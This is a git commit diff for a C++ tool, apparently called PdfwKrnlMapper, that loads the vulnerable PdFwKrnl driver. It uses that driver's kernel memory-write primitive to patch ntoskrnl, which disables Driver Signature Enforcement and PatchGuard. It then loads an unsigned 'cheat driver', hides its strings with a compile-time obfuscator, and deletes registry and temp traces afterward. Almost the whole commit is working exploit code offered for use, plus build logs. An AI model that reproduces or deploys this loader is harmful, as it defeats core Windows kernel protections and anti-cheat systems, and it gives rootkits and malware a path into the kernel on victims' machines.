8/2/2024
This commit is contained in:
131
Bypass.cpp
Normal file
131
Bypass.cpp
Normal file
@@ -0,0 +1,131 @@
|
|||||||
|
#include "Bypass.h"
|
||||||
|
|
||||||
|
namespace Bypass
|
||||||
|
{
|
||||||
|
bool Init()
|
||||||
|
{
|
||||||
|
SeValidateImageDataOffset = KernelUtils::GetSeValidateImageDataOffset();
|
||||||
|
SeValidateImageHeaderOffset = KernelUtils::GetSeValidateImageHeaderOffset();
|
||||||
|
RetOffset = KernelUtils::GetReturnOffset();
|
||||||
|
NtoskrnlBaseAddress = KernelUtils::GetNtoskrnlBase();
|
||||||
|
PatchgaurdValueOffset = KernelUtils::GetPatchGaurdValueOffset();
|
||||||
|
PatchgaurdOffset = KernelUtils::GetPatchGaurdOffset();
|
||||||
|
|
||||||
|
if (SeValidateImageDataOffset == 0 || SeValidateImageHeaderOffset == 0 || RetOffset == 0 || NtoskrnlBaseAddress == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DisableDSE()
|
||||||
|
{
|
||||||
|
ULONG64 ReturnAddressOffset = NtoskrnlBaseAddress + RetOffset;
|
||||||
|
|
||||||
|
BOOL Status = Vuln::WriteVirtualMemory(VulnurableDriverHandle, NtoskrnlBaseAddress + SeValidateImageHeaderOffset, &ReturnAddressOffset, sizeof(ReturnAddressOffset));
|
||||||
|
if (!Status)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
Status = Vuln::WriteVirtualMemory(VulnurableDriverHandle, NtoskrnlBaseAddress + SeValidateImageDataOffset, &ReturnAddressOffset, sizeof(ReturnAddressOffset));
|
||||||
|
if (!Status)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return Status;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DisablePG()
|
||||||
|
{
|
||||||
|
ULONG64 ReturnAddressOffset = NtoskrnlBaseAddress + RetOffset;
|
||||||
|
ULONG64 PatchGaurdValueAddress = NtoskrnlBaseAddress + PatchgaurdValueOffset;
|
||||||
|
|
||||||
|
BOOL Status = Vuln::WriteVirtualMemory(VulnurableDriverHandle, NtoskrnlBaseAddress + PatchgaurdOffset, &PatchGaurdValueAddress, 8);
|
||||||
|
return Status;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool LoadVulnurableDriver(std::string PdFwKrnlPath, std::string PdFwKrnlServiceName)
|
||||||
|
{
|
||||||
|
std::string DrvPath = PdFwKrnlPath;
|
||||||
|
bool Status = driver::load(DrvPath, "PdFwKrnl");
|
||||||
|
if (!Status)
|
||||||
|
return Status;
|
||||||
|
|
||||||
|
VulnurableDriverHandle = CreateFileA(E("\\\\.\\PdFwKrnl"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (VulnurableDriverHandle == INVALID_HANDLE_VALUE || !VulnurableDriverHandle)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
BypassStatus LoadCheatDriver(std::string DriverPath, std::string DriverServiceName, std::string PdFwKrnlPath, std::string PdFwKrnlServiceName)
|
||||||
|
{
|
||||||
|
bool Status = LoadVulnurableDriver(PdFwKrnlPath, PdFwKrnlServiceName);
|
||||||
|
if (!Status)
|
||||||
|
return FAILED_LOADINGVULN;
|
||||||
|
|
||||||
|
Status = DisablePG();
|
||||||
|
if (!Status)
|
||||||
|
return FAILED_DISABLEPG;
|
||||||
|
|
||||||
|
Status = DisableDSE();
|
||||||
|
if (!Status)
|
||||||
|
return FAILED_DISABLEDSE;
|
||||||
|
|
||||||
|
std::string DrvPath = DriverPath;
|
||||||
|
Status = driver::load(DrvPath, DriverServiceName);
|
||||||
|
if (Status == 0xC000010E)
|
||||||
|
driver::unload(DriverServiceName);
|
||||||
|
|
||||||
|
Status = driver::load(DrvPath, DriverServiceName);
|
||||||
|
if (!Status)
|
||||||
|
return FAILED_LOADINGCHEATDRV;
|
||||||
|
|
||||||
|
driver::unload(PdFwKrnlServiceName);
|
||||||
|
return SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string BypassStatusToString(BypassStatus Status)
|
||||||
|
{
|
||||||
|
std::string StatusString;
|
||||||
|
|
||||||
|
switch (Status)
|
||||||
|
{
|
||||||
|
case FAILED_LOADINGVULN:
|
||||||
|
{
|
||||||
|
StatusString = "Failed loading Vulnurable Driver";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case FAILED_DISABLEPG:
|
||||||
|
{
|
||||||
|
StatusString = "Failed Disabling Patchgaurd";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case FAILED_DISABLEDSE:
|
||||||
|
{
|
||||||
|
StatusString = "Failed Disabling DSE";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case FAILED_LOADINGCHEATDRV:
|
||||||
|
{
|
||||||
|
StatusString = "Failed Loading Main Driver";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case SUCCESS:
|
||||||
|
{
|
||||||
|
StatusString = "Success";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
defualt:
|
||||||
|
{
|
||||||
|
StatusString = "Unkown Status, assuming success";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return StatusString;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
37
Bypass.h
Normal file
37
Bypass.h
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Signature/Scanner.h"
|
||||||
|
#include "Utils/Utils.h"
|
||||||
|
#include "Loadup/Loadup.h"
|
||||||
|
#include "Vuln/Vuln.h"
|
||||||
|
|
||||||
|
namespace Bypass
|
||||||
|
{
|
||||||
|
enum BypassStatus : int {
|
||||||
|
FAILED_LOADINGVULN,
|
||||||
|
FAILED_DISABLEPG,
|
||||||
|
FAILED_DISABLEDSE,
|
||||||
|
FAILED_LOADINGCHEATDRV,
|
||||||
|
SUCCESS,
|
||||||
|
};
|
||||||
|
|
||||||
|
static char SeValidateImageDataOG[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; // Not Needed unless its VGK.
|
||||||
|
static char SeValidateImageHeaderOG[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; // Not Needed unless its VGK.
|
||||||
|
|
||||||
|
static ULONG64 SeValidateImageDataOffset;
|
||||||
|
static ULONG64 SeValidateImageHeaderOffset;
|
||||||
|
static ULONG64 RetOffset;
|
||||||
|
static ULONG64 NtoskrnlBaseAddress;
|
||||||
|
static ULONG64 PatchgaurdValueOffset;
|
||||||
|
static ULONG64 PatchgaurdOffset;
|
||||||
|
static HANDLE VulnurableDriverHandle;
|
||||||
|
|
||||||
|
bool Init();
|
||||||
|
|
||||||
|
bool DisableDSE();
|
||||||
|
bool DisablePG();
|
||||||
|
|
||||||
|
bool LoadVulnurableDriver(std::string PdFwKrnlPath, std::string PdFwKrnlServiceName);
|
||||||
|
|
||||||
|
BypassStatus LoadCheatDriver(std::string DriverPath, std::string DriverServiceName, std::string PdFwKrnlPath, std::string PdFwKrnlServiceName);
|
||||||
|
std::string BypassStatusToString(BypassStatus Status);
|
||||||
|
}
|
||||||
258
Loadup/Loadup.h
Normal file
258
Loadup/Loadup.h
Normal file
@@ -0,0 +1,258 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Winternl.h>
|
||||||
|
#include <string>
|
||||||
|
#include <fstream>
|
||||||
|
#include <filesystem>
|
||||||
|
#include "SkCrypt.h"
|
||||||
|
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
|
||||||
|
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
|
||||||
|
|
||||||
|
namespace driver
|
||||||
|
{
|
||||||
|
namespace util
|
||||||
|
{
|
||||||
|
inline bool delete_service_entry(const std::string& service_name)
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
static const std::string reg_key(E("System\\CurrentControlSet\\Services\\"));
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
std::string reg_key(E("System\\CurrentControlSet\\Services\\"));
|
||||||
|
reg_key += service_name;
|
||||||
|
|
||||||
|
auto result = RegCreateKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
//
|
||||||
|
// set type to 1 (kernel)
|
||||||
|
//
|
||||||
|
constexpr std::uint8_t type_value = 1;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
E("Type"),
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&type_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
//
|
||||||
|
// set error control to 3
|
||||||
|
//
|
||||||
|
constexpr std::uint8_t error_control_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
E("ErrorControl"),
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&error_control_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
//
|
||||||
|
// set start to 3
|
||||||
|
//
|
||||||
|
constexpr std::uint8_t start_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
E("Start"),
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&start_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
//
|
||||||
|
// set image path to the driver on disk
|
||||||
|
//
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
E("ImagePath"),
|
||||||
|
NULL,
|
||||||
|
REG_SZ,
|
||||||
|
(std::uint8_t*)drv_path.c_str(),
|
||||||
|
drv_path.size()
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
// this function was coded by paracord: https://githacks.org/snippets/4#L94
|
||||||
|
inline bool enable_privilege(const std::string& privilege_name)
|
||||||
|
{
|
||||||
|
HANDLE token_handle = nullptr;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LUID luid{};
|
||||||
|
if (!LookupPrivilegeValueA(nullptr, privilege_name.data(), &luid))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES token_state{};
|
||||||
|
token_state.PrivilegeCount = 1;
|
||||||
|
token_state.Privileges[0].Luid = luid;
|
||||||
|
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
CloseHandle(token_handle);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string get_service_image_path(const std::string& service_name)
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
DWORD bytes_read;
|
||||||
|
char image_path[0xFF];
|
||||||
|
static const std::string reg_key(E("System\\CurrentControlSet\\Services\\"));
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
result = RegGetValueA(
|
||||||
|
reg_handle,
|
||||||
|
service_name.c_str(),
|
||||||
|
"ImagePath",
|
||||||
|
REG_SZ,
|
||||||
|
NULL,
|
||||||
|
image_path,
|
||||||
|
&bytes_read
|
||||||
|
);
|
||||||
|
|
||||||
|
RegCloseKey(reg_handle);
|
||||||
|
return std::string(image_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
inline NTSTATUS load(const std::string& drv_path, const std::string& service_name)
|
||||||
|
{
|
||||||
|
if (!util::enable_privilege(std::string(E("SeLoadDriverPrivilege"))))
|
||||||
|
return STATUS_ABANDONED_WAIT_0;
|
||||||
|
|
||||||
|
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||||
|
return STATUS_ABANDONED_WAIT_0;
|
||||||
|
|
||||||
|
std::string reg_path(E("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"));
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
static const auto lp_nt_load_drv =
|
||||||
|
::GetProcAddress(
|
||||||
|
GetModuleHandleA(E("ntdll.dll")),
|
||||||
|
E("NtLoadDriver")
|
||||||
|
);
|
||||||
|
|
||||||
|
if (lp_nt_load_drv)
|
||||||
|
{
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
|
||||||
|
}
|
||||||
|
|
||||||
|
return STATUS_ABANDONED_WAIT_0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::tuple<NTSTATUS, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
|
||||||
|
{
|
||||||
|
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||||
|
{
|
||||||
|
static const auto randchar = []() -> char
|
||||||
|
{
|
||||||
|
const char charset[] =
|
||||||
|
"0123456789"
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz";
|
||||||
|
const std::size_t max_index = (sizeof(charset) - 1);
|
||||||
|
return charset[rand() % max_index];
|
||||||
|
};
|
||||||
|
std::string str(length, 0);
|
||||||
|
std::generate_n(str.begin(), length, randchar);
|
||||||
|
return str;
|
||||||
|
};
|
||||||
|
|
||||||
|
const auto service_name = random_file_name(16);
|
||||||
|
const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16);
|
||||||
|
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||||
|
|
||||||
|
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||||
|
output_file.close();
|
||||||
|
|
||||||
|
return { load(file_path, service_name), service_name };
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::tuple<NTSTATUS, std::string> load(const std::uint8_t* buffer, const std::size_t size)
|
||||||
|
{
|
||||||
|
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||||
|
return load(image);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline bool unload(const std::string& service_name)
|
||||||
|
{
|
||||||
|
std::string reg_path(E("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"));
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
static const auto lp_nt_unload_drv =
|
||||||
|
::GetProcAddress(
|
||||||
|
GetModuleHandleA(E("ntdll.dll")),
|
||||||
|
E("NtUnloadDriver")
|
||||||
|
);
|
||||||
|
|
||||||
|
if (lp_nt_unload_drv)
|
||||||
|
{
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
|
||||||
|
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
|
||||||
|
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
const bool delete_reg = util::delete_service_entry(service_name);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
const bool delete_drv = std::filesystem::remove(image_path);
|
||||||
|
}
|
||||||
|
catch (std::exception& e) {}
|
||||||
|
return unload_drv && delete_reg;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
163
Loadup/skCrypt.h
Normal file
163
Loadup/skCrypt.h
Normal file
@@ -0,0 +1,163 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*____________________________________________________________________________________________________________
|
||||||
|
|
||||||
|
Original Author: skadro
|
||||||
|
Github: https://github.com/skadro-official
|
||||||
|
License: See end of file
|
||||||
|
|
||||||
|
skCrypter
|
||||||
|
Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+
|
||||||
|
|
||||||
|
*Not removing this part is appreciated*
|
||||||
|
____________________________________________________________________________________________________________*/
|
||||||
|
|
||||||
|
#ifdef _KERNEL_MODE
|
||||||
|
namespace std
|
||||||
|
{
|
||||||
|
// STRUCT TEMPLATE remove_reference
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_reference {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_reference<_Ty&> {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_reference<_Ty&&> {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
using remove_reference_t = typename remove_reference<_Ty>::type;
|
||||||
|
|
||||||
|
// STRUCT TEMPLATE remove_const
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_const { // remove top-level const qualifier
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_const<const _Ty> {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
using remove_const_t = typename remove_const<_Ty>::type;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#include <type_traits>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace skc
|
||||||
|
{
|
||||||
|
template<class _Ty>
|
||||||
|
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
||||||
|
|
||||||
|
template <int _size, char _key1, char _key2, typename T>
|
||||||
|
class skCrypter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
__forceinline constexpr skCrypter(T* data)
|
||||||
|
{
|
||||||
|
crypt(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* get()
|
||||||
|
{
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline int size() // (w)char count
|
||||||
|
{
|
||||||
|
return _size;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline char key()
|
||||||
|
{
|
||||||
|
return _key1;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* encrypt()
|
||||||
|
{
|
||||||
|
if (!isEncrypted())
|
||||||
|
crypt(_storage);
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* decrypt()
|
||||||
|
{
|
||||||
|
if (isEncrypted())
|
||||||
|
crypt(_storage);
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool isEncrypted()
|
||||||
|
{
|
||||||
|
return _storage[_size - 1] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline void clear() // set full storage to 0
|
||||||
|
{
|
||||||
|
for (int i = 0; i < _size; i++)
|
||||||
|
{
|
||||||
|
_storage[i] = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline operator T* ()
|
||||||
|
{
|
||||||
|
decrypt();
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
__forceinline constexpr void crypt(T* data)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < _size; i++)
|
||||||
|
{
|
||||||
|
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
T _storage[_size]{};
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#define E(str) skCrypt_key(str, __TIME__[4], __TIME__[7])
|
||||||
|
#define skCrypt_key(str, key1, key2) []() { \
|
||||||
|
constexpr static auto crypted = skc::skCrypter \
|
||||||
|
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
|
||||||
|
return crypted; }()
|
||||||
|
|
||||||
|
/*________________________________________________________________________________
|
||||||
|
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 skadro
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
________________________________________________________________________________*/
|
||||||
14
PdfwKrnlMapper.cpp
Normal file
14
PdfwKrnlMapper.cpp
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
#include <iostream>
|
||||||
|
#include <windows.h>
|
||||||
|
#include "Bypass.h"
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
std::cout << " Initializing Offsets...\n";
|
||||||
|
Bypass::Init(); // Initialize Offsets & Cache Them
|
||||||
|
std::cout << " Initializing Exploit and Loading Cheat Driver using PdFwKrnl...\n";
|
||||||
|
Bypass::BypassStatus Status = Bypass::LoadCheatDriver("C:\\Driver.sys", "Driver Service Name", "C:\\Windows\\System32\\PdFwKrnl.sys", "Vuln Service Name"); // Load Cheat Driver & PdFwKrnl
|
||||||
|
std::cout << " Status: " << Bypass::BypassStatusToString(Status) << std::endl;
|
||||||
|
Sleep(5000);
|
||||||
|
driver::unload("Driver Service Name"); // Unload Cheat Driver
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
PdfwKrnlMapper/x64/Release/Bypass.obj
Normal file
BIN
PdfwKrnlMapper/x64/Release/Bypass.obj
Normal file
Binary file not shown.
11
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.exe.recipe
Normal file
11
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.exe.recipe
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project>
|
||||||
|
<ProjectOutputs>
|
||||||
|
<ProjectOutput>
|
||||||
|
<FullPath>C:\Users\dnfki\Desktop\PdfwKrnlMapper\x64\Release\PdfwKrnlMapper.exe</FullPath>
|
||||||
|
</ProjectOutput>
|
||||||
|
</ProjectOutputs>
|
||||||
|
<ContentFiles />
|
||||||
|
<SatelliteDlls />
|
||||||
|
<NonRecipeFileRefs />
|
||||||
|
</Project>
|
||||||
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.iobj
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.iobj
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.ipdb
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.ipdb
Normal file
Binary file not shown.
36
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.log
Normal file
36
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.log
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
Bypass.cpp
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(103,18): warning C4267: 'argument': conversion from 'size_t' to 'DWORD', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(253,27): warning C4101: 'e': unreferenced local variable
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Bypass.cpp(74,17): warning C4806: '==': unsafe operation: no value of type 'bool' promoted to type 'unsigned int' can equal the given constant
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Bypass.cpp(121,4): warning C4102: 'defualt': unreferenced label
|
||||||
|
PdfwKrnlMapper.cpp
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(103,18): warning C4267: 'argument': conversion from 'size_t' to 'DWORD', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(253,27): warning C4101: 'e': unreferenced local variable
|
||||||
|
Scanner.cpp
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(68,27): warning C4267: '=': conversion from 'size_t' to '_Ty', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(68,27): warning C4267: with
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(68,27): warning C4267: [
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(68,27): warning C4267: _Ty=int
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(68,27): warning C4267: ]
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(72,63): warning C4267: '=': conversion from 'size_t' to '_Ty', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(72,63): warning C4267: with
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(72,63): warning C4267: [
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(72,63): warning C4267: _Ty=int
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(72,63): warning C4267: ]
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(76,35): warning C4267: '=': conversion from 'size_t' to '_Ty', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(76,35): warning C4267: with
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(76,35): warning C4267: [
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(76,35): warning C4267: _Ty=int
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(76,35): warning C4267: ]
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp(111,19): warning C4267: 'initializing': conversion from 'size_t' to 'int', possible loss of data
|
||||||
|
Utils.cpp
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(103,18): warning C4267: 'argument': conversion from 'size_t' to 'DWORD', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(253,27): warning C4101: 'e': unreferenced local variable
|
||||||
|
Vuln.cpp
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(103,18): warning C4267: 'argument': conversion from 'size_t' to 'DWORD', possible loss of data
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Loadup\Loadup.h(253,27): warning C4101: 'e': unreferenced local variable
|
||||||
|
